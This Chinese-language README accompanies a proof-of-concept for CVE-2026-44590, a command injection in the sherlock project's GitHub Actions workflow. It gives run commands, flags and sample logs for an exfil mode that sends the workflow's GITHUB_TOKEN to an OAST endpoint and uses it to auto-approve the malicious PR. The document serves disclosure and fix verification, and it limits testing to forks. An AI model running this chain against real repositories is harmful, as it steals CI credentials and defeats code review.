发现并报告者:Astaruf
完整技术文章:https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
上游安全公告:sherlock-project/sherlock GHSA 安全公告
NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2026-44590
CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-44590
本仓库包含 CVE-2026-44590 的概念验证代码,该漏洞是 sherlock-project/sherlock 中 validate_modified_targets.yml GitHub Actions 工作流中的命令注入漏洞。任何 GitHub 用户都可以打开一个拉取请求,在特权 CI 环境中触发任意命令执行,窃取工作流的 GITHUB_TOKEN,并自动批准恶意 PR,整个过程无需任何人工交互。
完整技术文章(根因分析、利用过程详解、影响讨论,以及攻击者在真实场景中可采取行动的章节)请参阅博客文章:
本 README 仅专注于 PoC 脚本:它的功能、运行方式以及预期结果。
poc.pypoc.py 是一个独立的 Python 脚本(仅使用标准库),可自动化整个攻击链的端到端流程:
sherlock-project/sherlockmaster 分支回滚到修复前的提交,以便即使上游已修复也能复现该漏洞interactsh-client)GITHUB_TOKEN(在 --mode exfil 模式下)并以明文解码VULNERABILITY CONFIRMED 或 FIX VERIFIEDinteractsh-client)仅需一个手动步骤(每个 fork 首次点击 GitHub 的 "I understand my workflows" 横幅),因为不存在可关闭该横幅的公开 API。脚本会检测到这种情况并暂停,显示清晰的提示。
python3 poc.py --fork-owner <your-github-username>
Fork 仓库(如需要),与上游同步(已修补的 master),打开恶意 PR,运行攻击链,并报告 FIX VERIFIED,因为修补后的工作流在任何 shell 命令执行之前就阻止了载荷。
python3 poc.py --fork-owner <your-github-username> --vulnerable
与上述相同,但首先将 fork 的 master 回滚到修复前的提交(271608fb)。预期判定:VULNERABILITY CONFIRMED。
python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil
窃取载荷将 git config --list 转储到 OAST 并休眠 180 秒以保持工作流(以及 GITHUB_TOKEN)存活。在工作流休眠期间,脚本从 OAST 日志中提取令牌、解码,并立即调用 GitHub API 批准该 PR。该 PR 最终由 github-actions[bot] 批准。
gh(GitHub CLI),已认证:
gh auth login
gitinteractsh-client(可选但推荐)。安装后,脚本会自动启动它并在脚本内验证回调:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url 传入,自动验证步骤将被跳过。脚本不要求预先存在 fork,它会自动创建。
--mode harmless(默认)载荷是一个包含静态确认字符串的 curl POST 请求。不读取任何机密,不进行任何 API 调用,唯一副作用是 OAST 回调。用于在不暴露任何凭据的情况下确认漏洞存在。
--mode exfil载荷将 git config --list(其中包含在 http.https://github.com/.extraheader 下以 base64 编码的 GITHUB_TOKEN)转储到 OAST,然后休眠 180 秒。脚本随后:
x-access-token:ghs_XXXXXXXX...。x-access-token: 前缀,使用原始令牌调用 POST /repos/<fork>/pulls/<n>/reviews,附带标准批准载荷({"event":"APPROVE","body":"All checks passed. LGTM!"})。github-actions[bot] 批准,与合法 CI 自动化无法区分。一旦批准被记录,脚本将跳过工作流剩余的 180 秒休眠,因为攻击链已完成,等待运行器超时不会增加任何价值。
| 标志 | 描述 |
|---|---|
--fork-owner <user> | 必需。 拥有(或将拥有)fork 的 GitHub 用户名 |
--fork-name <name> | Fork 仓库名称(默认:sherlock) |
--oast-url <url> | 接收回调的 OAST 端点。如果省略,脚本自动启动 interactsh-client 并在脚本内执行判定 |
--mode harmless|exfil | 载荷类型(默认:harmless) |
--vulnerable | 运行前强制将 fork 的 master 重置为修复前的提交(271608fb)。隐含 --no-sync |
--no-sync | 跳过与上游同步 fork(在测试固定提交时有用) |
--base-branch <name> | fork 上的 PR 目标分支(默认:master) |
--keep-branch | 完成后不删除 PoC 分支 |
--no-poll | 跳过工作流运行轮询,在 PR 创建后退出 |
按照设计,PoC 打开的 PR 是从 fork 上的分支到同一 fork 的 master。它不直接针对 sherlock-project/sherlock。原因有两个。
公共仓库上的拉取请求对任何人都可见。即使 PR 关闭后,diff 仍会被索引,GitHub Actions 日志也可通过 Web UI 访问。在上游仓库上打开带有可用命令注入载荷的 PR,实际上会在维护者发布修复之前公开一个可用的漏洞利用。任何关注该仓库的人都可以复制载荷,将 OAST 回调替换为恶意端点,并利用它窃取真实的 GITHUB_TOKEN。
PoC 使用 fork 到 fork 的 PR,使漏洞利用不公开可见,同时仍能端到端演示该漏洞。
当您 fork sherlock-project/sherlock 时,工作流文件 validate_modified_targets.yml 会包含在 fork 中。打开针对 fork 的 master 的 PR 会在 fork 的上下文中触发工作流,并附带为 fork 签发的 GITHUB_TOKEN。其机制与原始攻击完全相同:
pull_request_target 触发器自动触发GITHUB_TOKENactions/checkout 通过 http.https://github.com/.extraheader 设置将令牌写入 .git/config唯一区别是影响范围:令牌属于 fork,而非 sherlock-project/sherlock。漏洞被复现;影响被限制。
GitHub 会在 UI 横幅后面禁用新创建 fork 上的 Actions:
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
没有公开 API 可以关闭此横幅。脚本会检测到此情况(fork 刚创建或历史工作流运行次数为零)并暂停,显示清晰的提示:
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
在给定 fork 上点击一次横幅后,后续针对同一 fork 的运行将不再提示。
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
本仓库仅用于教育和安全研究目的。该漏洞已负责任地向维护者披露,已在上游修复,并已申请 CVE。请勿针对您不拥有或未经明确许可测试的仓库运行此 PoC。作者对任何滥用行为不承担责任。